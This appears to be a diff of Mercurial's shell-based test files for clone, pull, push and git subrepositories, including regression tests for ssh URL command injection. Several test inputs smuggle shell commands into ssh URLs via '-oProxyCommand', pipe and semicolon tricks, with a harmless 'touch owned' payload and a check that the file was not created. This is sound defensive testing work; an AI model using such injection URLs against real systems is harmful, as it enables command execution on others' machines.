941 941 (sharing from existing pooled repository b5f04eac9d8f7a6a9fcb070243cccea7dc5ea0c1)
942 942 searching for changes
943 943 adding changesets
944 944 adding manifests
945 945 adding file changes
946 946 added 1 changesets with 1 changes to 1 files (+1 heads)
947 947 adding remote bookmark head1
948 948 adding remote bookmark head2
949 949 updating working directory
950 950 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
951 951
952 952 $ hg -R share-1brev log -G
953 953 @ changeset: 2:99f71071f117
954 954 | bookmark: head2
955 955 | tag: tip
956 956 | parent: 0:b5f04eac9d8f
957 957 | user: test
958 958 | date: Thu Jan 01 00:00:00 1970 +0000
959 959 | summary: head2
960 960 |
961 961 | o changeset: 1:4a8dc1ab4c13
962 962 |/ bookmark: head1
963 963 | user: test
964 964 | date: Thu Jan 01 00:00:00 1970 +0000
965 965 | summary: head1
966 966 |
967 967 o changeset: 0:b5f04eac9d8f
968 968 user: test
969 969 date: Thu Jan 01 00:00:00 1970 +0000
970 970 summary: initial
971 971
972 972
973 973 Request to clone a single branch is respected in sharing mode
974 974
975 975 $ hg --config share.pool=sharebranch clone -b branch1 source1b share-1bbranch1
976 976 (sharing from new pooled repository b5f04eac9d8f7a6a9fcb070243cccea7dc5ea0c1)
977 977 adding changesets
978 978 adding manifests
979 979 adding file changes
980 980 added 2 changesets with 2 changes to 1 files
981 981 no changes found
982 982 updating working directory
983 983 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
984 984
985 985 $ hg -R share-1bbranch1 log -G
986 986 o changeset: 1:5f92a6c1a1b1
987 987 | branch: branch1
988 988 | tag: tip
989 989 | user: test
990 990 | date: Thu Jan 01 00:00:00 1970 +0000
991 991 | summary: branch1
992 992 |
993 993 @ changeset: 0:b5f04eac9d8f
994 994 user: test
995 995 date: Thu Jan 01 00:00:00 1970 +0000
996 996 summary: initial
997 997
998 998
999 999 $ hg --config share.pool=sharebranch clone -b branch2 source1b share-1bbranch2
1000 1000 (sharing from existing pooled repository b5f04eac9d8f7a6a9fcb070243cccea7dc5ea0c1)
1001 1001 searching for changes
1002 1002 adding changesets
1003 1003 adding manifests
1004 1004 adding file changes
1005 1005 added 1 changesets with 1 changes to 1 files (+1 heads)
1006 1006 updating working directory
1007 1007 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
1008 1008
1009 1009 $ hg -R share-1bbranch2 log -G
1010 1010 o changeset: 2:6bacf4683960
1011 1011 | branch: branch2
1012 1012 | tag: tip
1013 1013 | parent: 0:b5f04eac9d8f
1014 1014 | user: test
1015 1015 | date: Thu Jan 01 00:00:00 1970 +0000
1016 1016 | summary: branch2
1017 1017 |
1018 1018 | o changeset: 1:5f92a6c1a1b1
1019 1019 |/ branch: branch1
1020 1020 | user: test
1021 1021 | date: Thu Jan 01 00:00:00 1970 +0000
1022 1022 | summary: branch1
1023 1023 |
1024 1024 @ changeset: 0:b5f04eac9d8f
1025 1025 user: test
1026 1026 date: Thu Jan 01 00:00:00 1970 +0000
1027 1027 summary: initial
1028 1028
1029 1029
1030 1030 -U is respected in share clone mode
1031 1031
1032 1032 $ hg --config share.pool=share clone -U source1a share-1anowc
1033 1033 (sharing from existing pooled repository b5f04eac9d8f7a6a9fcb070243cccea7dc5ea0c1)
1034 1034 searching for changes
1035 1035 no changes found
1036 1036 adding remote bookmark bookA
1037 1037
1038 1038 $ ls share-1anowc
1039 1039
1040 1040 Test that auto sharing doesn't cause failure of "hg clone local remote"
1041 1041
1042 1042 $ cd $TESTTMP
1043 1043 $ hg -R a id -r 0
1044 1044 acb14030fe0a
1045 1045 $ hg id -R remote -r 0
1046 1046 abort: repository remote not found!
1047 1047 [255]
1048 1048 $ hg --config share.pool=share -q clone -e "\"$PYTHON\" \"$TESTDIR/dummyssh\"" a ssh://user@dummy/remote
1049 1049 $ hg -R remote id -r 0
1050 1050 acb14030fe0a
1051 1051
1052 1052 Cloning into pooled storage doesn't race (issue5104)
1053 1053
1054 1054 $ HGPOSTLOCKDELAY=2.0 hg --config share.pool=racepool --config extensions.lockdelay=$TESTDIR/lockdelay.py clone source1a share-destrace1 > race1.log 2>&1 &
1055 1055 $ HGPRELOCKDELAY=1.0 hg --config share.pool=racepool --config extensions.lockdelay=$TESTDIR/lockdelay.py clone source1a share-destrace2 > race2.log 2>&1
1056 1056 $ wait
1057 1057
1058 1058 $ hg -R share-destrace1 log -r tip
1059 1059 changeset: 2:e5bfe23c0b47
1060 1060 bookmark: bookA
1061 1061 tag: tip
1062 1062 user: test
1063 1063 date: Thu Jan 01 00:00:00 1970 +0000
1064 1064 summary: 1a
1065 1065
1066 1066
1067 1067 $ hg -R share-destrace2 log -r tip
1068 1068 changeset: 2:e5bfe23c0b47
1069 1069 bookmark: bookA
1070 1070 tag: tip
1071 1071 user: test
1072 1072 date: Thu Jan 01 00:00:00 1970 +0000
1073 1073 summary: 1a
1074 1074
1075 1075 One repo should be new, the other should be shared from the pool. We
1076 1076 don't care which is which, so we just make sure we always print the
1077 1077 one containing "new pooled" first, then one one containing "existing
1078 1078 pooled".
1079 1079
1080 1080 $ (grep 'new pooled' race1.log > /dev/null && cat race1.log || cat race2.log) | grep -v lock
1081 1081 (sharing from new pooled repository b5f04eac9d8f7a6a9fcb070243cccea7dc5ea0c1)
1082 1082 requesting all changes
1083 1083 adding changesets
1084 1084 adding manifests
1085 1085 adding file changes
1086 1086 added 3 changesets with 3 changes to 1 files
1087 1087 searching for changes
1088 1088 no changes found
1089 1089 adding remote bookmark bookA
1090 1090 updating working directory
1091 1091 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
1092 1092
1093 1093 $ (grep 'existing pooled' race1.log > /dev/null && cat race1.log || cat race2.log) | grep -v lock
1094 1094 (sharing from existing pooled repository b5f04eac9d8f7a6a9fcb070243cccea7dc5ea0c1)
1095 1095 searching for changes
1096 1096 no changes found
1097 1097 adding remote bookmark bookA
1098 1098 updating working directory
1099 1099 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
1100 1100
1101 1101 SEC: check for unsafe ssh url
1102 1102
1103 1103 $ cat >> $HGRCPATH << EOF
1104 1104 > [ui]
1105 1105 > ssh = sh -c "read l; read l; read l"
1106 1106 > EOF
1107 1107
1108 1108 $ hg clone 'ssh://-oProxyCommand=touch${IFS}owned/path'
1109 1109 abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path'
1110 1110 [255]
1111 1111 $ hg clone 'ssh://%2DoProxyCommand=touch${IFS}owned/path'
1112 1112 abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path'
1113 1113 [255]
1114 $ hg clone 'ssh://fakehost|shellcommand/path'
1115 abort: potentially unsafe url: 'ssh://fakehost|shellcommand/path'
1114 $ hg clone 'ssh://fakehost|touch%20owned/path'
1115 abort: no suitable response from remote hg!
1116 1116 [255]
1117 $ hg clone 'ssh://fakehost%7Cshellcommand/path'
1118 abort: potentially unsafe url: 'ssh://fakehost|shellcommand/path'
1117 $ hg clone 'ssh://fakehost%7Ctouch%20owned/path'
1118 abort: no suitable response from remote hg!
1119 1119 [255]
1120 1120
1121 1121 $ hg clone 'ssh://-oProxyCommand=touch owned%20foo@example.com/nonexistent/path'
1122 1122 abort: potentially unsafe url: 'ssh://-oProxyCommand=touch owned foo@example.com/nonexistent/path'
1123 1123 [255]
1124 1124
1125 1125 #if windows
1126 1126 $ hg clone "ssh://%26touch%20owned%20/" --debug
1127 1127 running sh -c "read l; read l; read l" "&touch owned " "hg -R . serve --stdio"
1128 1128 sending hello command
1129 1129 sending between command
1130 1130 abort: no suitable response from remote hg!
1131 1131 [255]
1132 1132 $ hg clone "ssh://example.com:%26touch%20owned%20/" --debug
1133 1133 running sh -c "read l; read l; read l" -p "&touch owned " example.com "hg -R . serve --stdio"
1134 1134 sending hello command
1135 1135 sending between command
1136 1136 abort: no suitable response from remote hg!
1137 1137 [255]
1138 1138 #else
1139 1139 $ hg clone "ssh://%3btouch%20owned%20/" --debug
1140 1140 running sh -c "read l; read l; read l" ';touch owned ' 'hg -R . serve --stdio'
1141 1141 sending hello command
1142 1142 sending between command
1143 1143 abort: no suitable response from remote hg!
1144 1144 [255]
1145 1145 $ hg clone "ssh://example.com:%3btouch%20owned%20/" --debug
1146 1146 running sh -c "read l; read l; read l" -p ';touch owned ' example.com 'hg -R . serve --stdio'
1147 1147 sending hello command
1148 1148 sending between command
1149 1149 abort: no suitable response from remote hg!
1150 1150 [255]
1151 1151 #endif
1152 1152
1153 1153 $ hg clone "ssh://v-alid.example.com/" --debug
1154 1154 running sh -c "read l; read l; read l" v-alid\.example\.com ['"]hg -R \. serve --stdio['"] (re)
1155 1155 sending hello command
1156 1156 sending between command
1157 1157 abort: no suitable response from remote hg!
1158 1158 [255]
1159 1159
1160 1160 We should not have created a file named owned - if it exists, the
1161 1161 attack succeeded.
1162 1162 $ if test -f owned; then echo 'you got owned'; fi
@@ -1,127 +1,134
1 1 #require serve
2 2
3 3 $ hg init test
4 4 $ cd test
5 5
6 6 $ echo foo>foo
7 7 $ hg addremove
8 8 adding foo
9 9 $ hg commit -m 1
10 10
11 11 $ hg verify
12 12 checking changesets
13 13 checking manifests
14 14 crosschecking files in changesets and manifests
15 15 checking files
16 16 1 files, 1 changesets, 1 total revisions
17 17
18 18 $ hg serve -p $HGPORT -d --pid-file=hg.pid
19 19 $ cat hg.pid >> $DAEMON_PIDS
20 20 $ cd ..
21 21
22 22 $ hg clone --pull http://foo:bar@localhost:$HGPORT/ copy
23 23 requesting all changes
24 24 adding changesets
25 25 adding manifests
26 26 adding file changes
27 27 added 1 changesets with 1 changes to 1 files
28 28 updating to branch default
29 29 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
30 30
31 31 $ cd copy
32 32 $ hg verify
33 33 checking changesets
34 34 checking manifests
35 35 crosschecking files in changesets and manifests
36 36 checking files
37 37 1 files, 1 changesets, 1 total revisions
38 38
39 39 $ hg co
40 40 0 files updated, 0 files merged, 0 files removed, 0 files unresolved
41 41 $ cat foo
42 42 foo
43 43
44 44 $ hg manifest --debug
45 45 2ed2a3912a0b24502043eae84ee4b279c18b90dd 644 foo
46 46
47 47 $ hg pull
48 48 pulling from http://foo@localhost:$HGPORT/
49 49 searching for changes
50 50 no changes found
51 51
52 52 $ hg rollback --dry-run --verbose
53 53 repository tip rolled back to revision -1 (undo pull: http://foo:***@localhost:$HGPORT/)
54 54
55 55 Test pull of non-existing 20 character revision specification, making sure plain ascii identifiers
56 56 not are encoded like a node:
57 57
58 58 $ hg pull -r 'xxxxxxxxxxxxxxxxxxxy'
59 59 pulling from http://foo@localhost:$HGPORT/
60 60 abort: unknown revision 'xxxxxxxxxxxxxxxxxxxy'!
61 61 [255]
62 62 $ hg pull -r 'xxxxxxxxxxxxxxxxxx y'
63 63 pulling from http://foo@localhost:$HGPORT/
64 64 abort: unknown revision '7878787878787878787878787878787878782079'!
65 65 [255]
66 66
67 67 Issue622: hg init && hg pull -u URL doesn't checkout default branch
68 68
69 69 $ cd ..
70 70 $ hg init empty
71 71 $ cd empty
72 72 $ hg pull -u ../test
73 73 pulling from ../test
74 74 requesting all changes
75 75 adding changesets
76 76 adding manifests
77 77 adding file changes
78 78 added 1 changesets with 1 changes to 1 files
79 79 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
80 80
81 81 Test 'file:' uri handling:
82 82
83 83 $ hg pull -q file://../test-does-not-exist
84 84 abort: file:// URLs can only refer to localhost
85 85 [255]
86 86
87 87 $ hg pull -q file://../test
88 88 abort: file:// URLs can only refer to localhost
89 89 [255]
90 90
91 91 MSYS changes 'file:' into 'file;'
92 92
93 93 #if no-msys
94 94 $ hg pull -q file:../test # no-msys
95 95 #endif
96 96
97 97 It's tricky to make file:// URLs working on every platform with
98 98 regular shell commands.
99 99
100 100 $ URL=`$PYTHON -c "import os; print 'file://foobar' + ('/' + os.getcwd().replace(os.sep, '/')).replace('//', '/') + '/../test'"`
101 101 $ hg pull -q "$URL"
102 102 abort: file:// URLs can only refer to localhost
103 103 [255]
104 104
105 105 $ URL=`$PYTHON -c "import os; print 'file://localhost' + ('/' + os.getcwd().replace(os.sep, '/')).replace('//', '/') + '/../test'"`
106 106 $ hg pull -q "$URL"
107 107
108 108 SEC: check for unsafe ssh url
109 109
110 $ cat >> $HGRCPATH << EOF
111 > [ui]
112 > ssh = sh -c "read l; read l; read l"
113 > EOF
114
110 115 $ hg pull 'ssh://-oProxyCommand=touch${IFS}owned/path'
111 116 pulling from ssh://-oProxyCommand%3Dtouch%24%7BIFS%7Downed/path
112 117 abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path'
113 118 [255]
114 119 $ hg pull 'ssh://%2DoProxyCommand=touch${IFS}owned/path'
115 120 pulling from ssh://-oProxyCommand%3Dtouch%24%7BIFS%7Downed/path
116 121 abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path'
117 122 [255]
118 $ hg pull 'ssh://fakehost|shellcommand/path'
119 pulling from ssh://fakehost%7Cshellcommand/path
120 abort: potentially unsafe url: 'ssh://fakehost|shellcommand/path'
123 $ hg pull 'ssh://fakehost|touch${IFS}owned/path'
124 pulling from ssh://fakehost%7Ctouch%24%7BIFS%7Downed/path
125 abort: no suitable response from remote hg!
121 126 [255]
122 $ hg pull 'ssh://fakehost%7Cshellcommand/path'
123 pulling from ssh://fakehost%7Cshellcommand/path
124 abort: potentially unsafe url: 'ssh://fakehost|shellcommand/path'
127 $ hg pull 'ssh://fakehost%7Ctouch%20owned/path'
128 pulling from ssh://fakehost%7Ctouch%20owned/path
129 abort: no suitable response from remote hg!
125 130 [255]
126 131
132 $ [ ! -f owned ] || echo 'you got owned'
133
127 134 $ cd ..
@@ -1,337 +1,344
1 1 ==================================
2 2 Basic testing for the push command
3 3 ==================================
4 4
5 5 Testing of the '--rev' flag
6 6 ===========================
7 7
8 8 $ hg init test-revflag
9 9 $ hg -R test-revflag unbundle "$TESTDIR/bundles/remote.hg"
10 10 adding changesets
11 11 adding manifests
12 12 adding file changes
13 13 added 9 changesets with 7 changes to 4 files (+1 heads)
14 14 (run 'hg heads' to see heads, 'hg merge' to merge)
15 15
16 16 $ for i in 0 1 2 3 4 5 6 7 8; do
17 17 > echo
18 18 > hg init test-revflag-"$i"
19 19 > hg -R test-revflag push -r "$i" test-revflag-"$i"
20 20 > hg -R test-revflag-"$i" verify
21 21 > done
22 22
23 23 pushing to test-revflag-0
24 24 searching for changes
25 25 adding changesets
26 26 adding manifests
27 27 adding file changes
28 28 added 1 changesets with 1 changes to 1 files
29 29 checking changesets
30 30 checking manifests
31 31 crosschecking files in changesets and manifests
32 32 checking files
33 33 1 files, 1 changesets, 1 total revisions
34 34
35 35 pushing to test-revflag-1
36 36 searching for changes
37 37 adding changesets
38 38 adding manifests
39 39 adding file changes
40 40 added 2 changesets with 2 changes to 1 files
41 41 checking changesets
42 42 checking manifests
43 43 crosschecking files in changesets and manifests
44 44 checking files
45 45 1 files, 2 changesets, 2 total revisions
46 46
47 47 pushing to test-revflag-2
48 48 searching for changes
49 49 adding changesets
50 50 adding manifests
51 51 adding file changes
52 52 added 3 changesets with 3 changes to 1 files
53 53 checking changesets
54 54 checking manifests
55 55 crosschecking files in changesets and manifests
56 56 checking files
57 57 1 files, 3 changesets, 3 total revisions
58 58
59 59 pushing to test-revflag-3
60 60 searching for changes
61 61 adding changesets
62 62 adding manifests
63 63 adding file changes
64 64 added 4 changesets with 4 changes to 1 files
65 65 checking changesets
66 66 checking manifests
67 67 crosschecking files in changesets and manifests
68 68 checking files
69 69 1 files, 4 changesets, 4 total revisions
70 70
71 71 pushing to test-revflag-4
72 72 searching for changes
73 73 adding changesets
74 74 adding manifests
75 75 adding file changes
76 76 added 2 changesets with 2 changes to 1 files
77 77 checking changesets
78 78 checking manifests
79 79 crosschecking files in changesets and manifests
80 80 checking files
81 81 1 files, 2 changesets, 2 total revisions
82 82
83 83 pushing to test-revflag-5
84 84 searching for changes
85 85 adding changesets
86 86 adding manifests
87 87 adding file changes
88 88 added 3 changesets with 3 changes to 1 files
89 89 checking changesets
90 90 checking manifests
91 91 crosschecking files in changesets and manifests
92 92 checking files
93 93 1 files, 3 changesets, 3 total revisions
94 94
95 95 pushing to test-revflag-6
96 96 searching for changes
97 97 adding changesets
98 98 adding manifests
99 99 adding file changes
100 100 added 4 changesets with 5 changes to 2 files
101 101 checking changesets
102 102 checking manifests
103 103 crosschecking files in changesets and manifests
104 104 checking files
105 105 2 files, 4 changesets, 5 total revisions
106 106
107 107 pushing to test-revflag-7
108 108 searching for changes
109 109 adding changesets
110 110 adding manifests
111 111 adding file changes
112 112 added 5 changesets with 6 changes to 3 files
113 113 checking changesets
114 114 checking manifests
115 115 crosschecking files in changesets and manifests
116 116 checking files
117 117 3 files, 5 changesets, 6 total revisions
118 118
119 119 pushing to test-revflag-8
120 120 searching for changes
121 121 adding changesets
122 122 adding manifests
123 123 adding file changes
124 124 added 5 changesets with 5 changes to 2 files
125 125 checking changesets
126 126 checking manifests
127 127 crosschecking files in changesets and manifests
128 128 checking files
129 129 2 files, 5 changesets, 5 total revisions
130 130
131 131 $ cd test-revflag-8
132 132
133 133 $ hg pull ../test-revflag-7
134 134 pulling from ../test-revflag-7
135 135 searching for changes
136 136 adding changesets
137 137 adding manifests
138 138 adding file changes
139 139 added 4 changesets with 2 changes to 3 files (+1 heads)
140 140 (run 'hg heads' to see heads, 'hg merge' to merge)
141 141
142 142 $ hg verify
143 143 checking changesets
144 144 checking manifests
145 145 crosschecking files in changesets and manifests
146 146 checking files
147 147 4 files, 9 changesets, 7 total revisions
148 148
149 149 $ cd ..
150 150
151 151 Test server side validation during push
152 152 =======================================
153 153
154 154 $ hg init test-validation
155 155 $ cd test-validation
156 156
157 157 $ cat > .hg/hgrc <<EOF
158 158 > [server]
159 159 > validate=1
160 160 > EOF
161 161
162 162 $ echo alpha > alpha
163 163 $ echo beta > beta
164 164 $ hg addr
165 165 adding alpha
166 166 adding beta
167 167 $ hg ci -m 1
168 168
169 169 $ cd ..
170 170 $ hg clone test-validation test-validation-clone
171 171 updating to branch default
172 172 2 files updated, 0 files merged, 0 files removed, 0 files unresolved
173 173
174 174 Test spurious filelog entries:
175 175
176 176 $ cd test-validation-clone
177 177 $ echo blah >> beta
178 178 $ cp .hg/store/data/beta.i tmp1
179 179 $ hg ci -m 2
180 180 $ cp .hg/store/data/beta.i tmp2
181 181 $ hg -q rollback
182 182 $ mv tmp2 .hg/store/data/beta.i
183 183 $ echo blah >> beta
184 184 $ hg ci -m '2 (corrupt)'
185 185
186 186 Expected to fail:
187 187
188 188 $ hg verify
189 189 checking changesets
190 190 checking manifests
191 191 crosschecking files in changesets and manifests
192 192 checking files
193 193 beta@1: dddc47b3ba30 not in manifests
194 194 2 files, 2 changesets, 4 total revisions
195 195 1 integrity errors encountered!
196 196 (first damaged changeset appears to be 1)
197 197 [1]
198 198
199 199 $ hg push
200 200 pushing to $TESTTMP/test-validation (glob)
201 201 searching for changes
202 202 adding changesets
203 203 adding manifests
204 204 adding file changes
205 205 transaction abort!
206 206 rollback completed
207 207 abort: received spurious file revlog entry
208 208 [255]
209 209
210 210 $ hg -q rollback
211 211 $ mv tmp1 .hg/store/data/beta.i
212 212 $ echo beta > beta
213 213
214 214 Test missing filelog entries:
215 215
216 216 $ cp .hg/store/data/beta.i tmp
217 217 $ echo blah >> beta
218 218 $ hg ci -m '2 (corrupt)'
219 219 $ mv tmp .hg/store/data/beta.i
220 220
221 221 Expected to fail:
222 222
223 223 $ hg verify
224 224 checking changesets
225 225 checking manifests
226 226 crosschecking files in changesets and manifests
227 227 checking files
228 228 beta@1: manifest refers to unknown revision dddc47b3ba30
229 229 2 files, 2 changesets, 2 total revisions
230 230 1 integrity errors encountered!
231 231 (first damaged changeset appears to be 1)
232 232 [1]
233 233
234 234 $ hg push
235 235 pushing to $TESTTMP/test-validation (glob)
236 236 searching for changes
237 237 adding changesets
238 238 adding manifests
239 239 adding file changes
240 240 transaction abort!
241 241 rollback completed
242 242 abort: missing file data for beta:dddc47b3ba30e54484720ce0f4f768a0f4b6efb9 - run hg verify
243 243 [255]
244 244
245 245 $ cd ..
246 246
247 247 Test push hook locking
248 248 =====================
249 249
250 250 $ hg init 1
251 251
252 252 $ echo '[ui]' >> 1/.hg/hgrc
253 253 $ echo 'timeout = 10' >> 1/.hg/hgrc
254 254
255 255 $ echo foo > 1/foo
256 256 $ hg --cwd 1 ci -A -m foo
257 257 adding foo
258 258
259 259 $ hg clone 1 2
260 260 updating to branch default
261 261 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
262 262
263 263 $ hg clone 2 3
264 264 updating to branch default
265 265 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
266 266
267 267 $ cat <<EOF > $TESTTMP/debuglocks-pretxn-hook.sh
268 268 > hg debuglocks
269 269 > true
270 270 > EOF
271 271 $ echo '[hooks]' >> 2/.hg/hgrc
272 272 $ echo "pretxnchangegroup.a = sh $TESTTMP/debuglocks-pretxn-hook.sh" >> 2/.hg/hgrc
273 273 $ echo 'changegroup.push = hg push -qf ../1' >> 2/.hg/hgrc
274 274
275 275 $ echo bar >> 3/foo
276 276 $ hg --cwd 3 ci -m bar
277 277
278 278 $ hg --cwd 3 push ../2 --config devel.legacy.exchange=bundle1
279 279 pushing to ../2
280 280 searching for changes
281 281 adding changesets
282 282 adding manifests
283 283 adding file changes
284 284 added 1 changesets with 1 changes to 1 files
285 285 lock: user *, process * (*s) (glob)
286 286 wlock: free
287 287
288 288 $ hg --cwd 1 --config extensions.strip= strip tip -q
289 289 $ hg --cwd 2 --config extensions.strip= strip tip -q
290 290 $ hg --cwd 3 push ../2 # bundle2+
291 291 pushing to ../2
292 292 searching for changes
293 293 adding changesets
294 294 adding manifests
295 295 adding file changes
296 296 added 1 changesets with 1 changes to 1 files
297 297 lock: user *, process * (*s) (glob)
298 298 wlock: user *, process * (*s) (glob)
299 299
300 300 Test bare push with multiple race checking options
301 301 --------------------------------------------------
302 302
303 303 $ hg init test-bare-push-no-concurrency
304 304 $ hg init test-bare-push-unrelated-concurrency
305 305 $ hg -R test-revflag push -r 0 test-bare-push-no-concurrency --config server.concurrent-push-mode=strict
306 306 pushing to test-bare-push-no-concurrency
307 307 searching for changes
308 308 adding changesets
309 309 adding manifests
310 310 adding file changes
311 311 added 1 changesets with 1 changes to 1 files
312 312 $ hg -R test-revflag push -r 0 test-bare-push-unrelated-concurrency --config server.concurrent-push-mode=check-related
313 313 pushing to test-bare-push-unrelated-concurrency
314 314 searching for changes
315 315 adding changesets
316 316 adding manifests
317 317 adding file changes
318 318 added 1 changesets with 1 changes to 1 files
319 319
320 320 SEC: check for unsafe ssh url
321 321
322 $ cat >> $HGRCPATH << EOF
323 > [ui]
324 > ssh = sh -c "read l; read l; read l"
325 > EOF
326
322 327 $ hg -R test-revflag push 'ssh://-oProxyCommand=touch${IFS}owned/path'
323 328 pushing to ssh://-oProxyCommand%3Dtouch%24%7BIFS%7Downed/path
324 329 abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path'
325 330 [255]
326 331 $ hg -R test-revflag push 'ssh://%2DoProxyCommand=touch${IFS}owned/path'
327 332 pushing to ssh://-oProxyCommand%3Dtouch%24%7BIFS%7Downed/path
328 333 abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path'
329 334 [255]
330 $ hg -R test-revflag push 'ssh://fakehost|shellcommand/path'
331 pushing to ssh://fakehost%7Cshellcommand/path
332 abort: potentially unsafe url: 'ssh://fakehost|shellcommand/path'
335 $ hg -R test-revflag push 'ssh://fakehost|touch${IFS}owned/path'
336 pushing to ssh://fakehost%7Ctouch%24%7BIFS%7Downed/path
337 abort: no suitable response from remote hg!
333 338 [255]
334 $ hg -R test-revflag push 'ssh://fakehost%7Cshellcommand/path'
335 pushing to ssh://fakehost%7Cshellcommand/path
336 abort: potentially unsafe url: 'ssh://fakehost|shellcommand/path'
339 $ hg -R test-revflag push 'ssh://fakehost%7Ctouch%20owned/path'
340 pushing to ssh://fakehost%7Ctouch%20owned/path
341 abort: no suitable response from remote hg!
337 342 [255]
343
344 $ [ ! -f owned ] || echo 'you got owned'
@@ -1,1239 +1,1215
1 1 #require git
2 2
3 3 make git commits repeatable
4 4
5 5 $ cat >> $HGRCPATH <<EOF
6 6 > [defaults]
7 7 > commit = -d "0 0"
8 8 > EOF
9 9
10 10 $ echo "[core]" >> $HOME/.gitconfig
11 11 $ echo "autocrlf = false" >> $HOME/.gitconfig
12 12 $ GIT_AUTHOR_NAME='test'; export GIT_AUTHOR_NAME
13 13 $ GIT_AUTHOR_EMAIL='test@example.org'; export GIT_AUTHOR_EMAIL
14 14 $ GIT_AUTHOR_DATE='1234567891 +0000'; export GIT_AUTHOR_DATE
15 15 $ GIT_COMMITTER_NAME="$GIT_AUTHOR_NAME"; export GIT_COMMITTER_NAME
16 16 $ GIT_COMMITTER_EMAIL="$GIT_AUTHOR_EMAIL"; export GIT_COMMITTER_EMAIL
17 17 $ GIT_COMMITTER_DATE="$GIT_AUTHOR_DATE"; export GIT_COMMITTER_DATE
18 18 $ GIT_CONFIG_NOSYSTEM=1; export GIT_CONFIG_NOSYSTEM
19 19
20 20 root hg repo
21 21
22 22 $ hg init t
23 23 $ cd t
24 24 $ echo a > a
25 25 $ hg add a
26 26 $ hg commit -m a
27 27 $ cd ..
28 28
29 29 new external git repo
30 30
31 31 $ mkdir gitroot
32 32 $ cd gitroot
33 33 $ git init -q
34 34 $ echo g > g
35 35 $ git add g
36 36 $ git commit -q -m g
37 37
38 38 add subrepo clone
39 39
40 40 $ cd ../t
41 41 $ echo 's = [git]../gitroot' > .hgsub
42 42 $ git clone -q ../gitroot s
43 43 $ hg add .hgsub
44 44 $ hg commit -m 'new git subrepo'
45 45 $ hg debugsub
46 46 path s
47 47 source ../gitroot
48 48 revision da5f5b1d8ffcf62fb8327bcd3c89a4367a6018e7
49 49
50 50 record a new commit from upstream from a different branch
51 51
52 52 $ cd ../gitroot
53 53 $ git checkout -q -b testing
54 54 $ echo gg >> g
55 55 $ git commit -q -a -m gg
56 56
57 57 $ cd ../t/s
58 58 $ git pull -q >/dev/null 2>/dev/null
59 59 $ git checkout -q -b testing origin/testing >/dev/null
60 60
61 61 $ cd ..
62 62 $ hg status --subrepos
63 63 M s/g
64 64 $ hg commit -m 'update git subrepo'
65 65 $ hg debugsub
66 66 path s
67 67 source ../gitroot
68 68 revision 126f2a14290cd5ce061fdedc430170e8d39e1c5a
69 69
70 70 make $GITROOT pushable, by replacing it with a clone with nothing checked out
71 71
72 72 $ cd ..
73 73 $ git clone gitroot gitrootbare --bare -q
74 74 $ rm -rf gitroot
75 75 $ mv gitrootbare gitroot
76 76
77 77 clone root
78 78
79 79 $ cd t
80 80 $ hg clone . ../tc 2> /dev/null
81 81 updating to branch default
82 82 cloning subrepo s from $TESTTMP/gitroot
83 83 3 files updated, 0 files merged, 0 files removed, 0 files unresolved
84 84 $ cd ../tc
85 85 $ hg debugsub
86 86 path s
87 87 source ../gitroot
88 88 revision 126f2a14290cd5ce061fdedc430170e8d39e1c5a
89 89
90 90 update to previous substate
91 91
92 92 $ hg update 1 -q
93 93 $ cat s/g
94 94 g
95 95 $ hg debugsub
96 96 path s
97 97 source ../gitroot
98 98 revision da5f5b1d8ffcf62fb8327bcd3c89a4367a6018e7
99 99
100 100 clone root, make local change
101 101
102 102 $ cd ../t
103 103 $ hg clone . ../ta 2> /dev/null
104 104 updating to branch default
105 105 cloning subrepo s from $TESTTMP/gitroot
106 106 3 files updated, 0 files merged, 0 files removed, 0 files unresolved
107 107
108 108 $ cd ../ta
109 109 $ echo ggg >> s/g
110 110 $ hg status --subrepos
111 111 M s/g
112 112 $ hg diff --subrepos
113 113 diff --git a/s/g b/s/g
114 114 index 089258f..85341ee 100644
115 115 --- a/s/g
116 116 +++ b/s/g
117 117 @@ -1,2 +1,3 @@
118 118 g
119 119 gg
120 120 +ggg
121 121 $ hg commit --subrepos -m ggg
122 122 committing subrepository s
123 123 $ hg debugsub
124 124 path s
125 125 source ../gitroot
126 126 revision 79695940086840c99328513acbe35f90fcd55e57
127 127
128 128 clone root separately, make different local change
129 129
130 130 $ cd ../t
131 131 $ hg clone . ../tb 2> /dev/null
132 132 updating to branch default
133 133 cloning subrepo s from $TESTTMP/gitroot
134 134 3 files updated, 0 files merged, 0 files removed, 0 files unresolved
135 135
136 136 $ cd ../tb/s
137 137 $ hg status --subrepos
138 138 $ echo f > f
139 139 $ hg status --subrepos
140 140 ? s/f
141 141 $ hg add .
142 142 adding f
143 143 $ git add f
144 144 $ cd ..
145 145
146 146 $ hg status --subrepos
147 147 A s/f
148 148 $ hg commit --subrepos -m f
149 149 committing subrepository s
150 150 $ hg debugsub
151 151 path s
152 152 source ../gitroot
153 153 revision aa84837ccfbdfedcdcdeeedc309d73e6eb069edc
154 154
155 155 user b push changes
156 156
157 157 $ hg push 2>/dev/null
158 158 pushing to $TESTTMP/t (glob)
159 159 pushing branch testing of subrepository "s"
160 160 searching for changes
161 161 adding changesets
162 162 adding manifests
163 163 adding file changes
164 164 added 1 changesets with 1 changes to 1 files
165 165
166 166 user a pulls, merges, commits
167 167
168 168 $ cd ../ta
169 169 $ hg pull
170 170 pulling from $TESTTMP/t (glob)
171 171 searching for changes
172 172 adding changesets
173 173 adding manifests
174 174 adding file changes
175 175 added 1 changesets with 1 changes to 1 files (+1 heads)
176 176 (run 'hg heads' to see heads, 'hg merge' to merge)
177 177 $ hg merge 2>/dev/null
178 178 subrepository s diverged (local revision: 7969594, remote revision: aa84837)
179 179 (M)erge, keep (l)ocal [working copy] or keep (r)emote [merge rev]? m
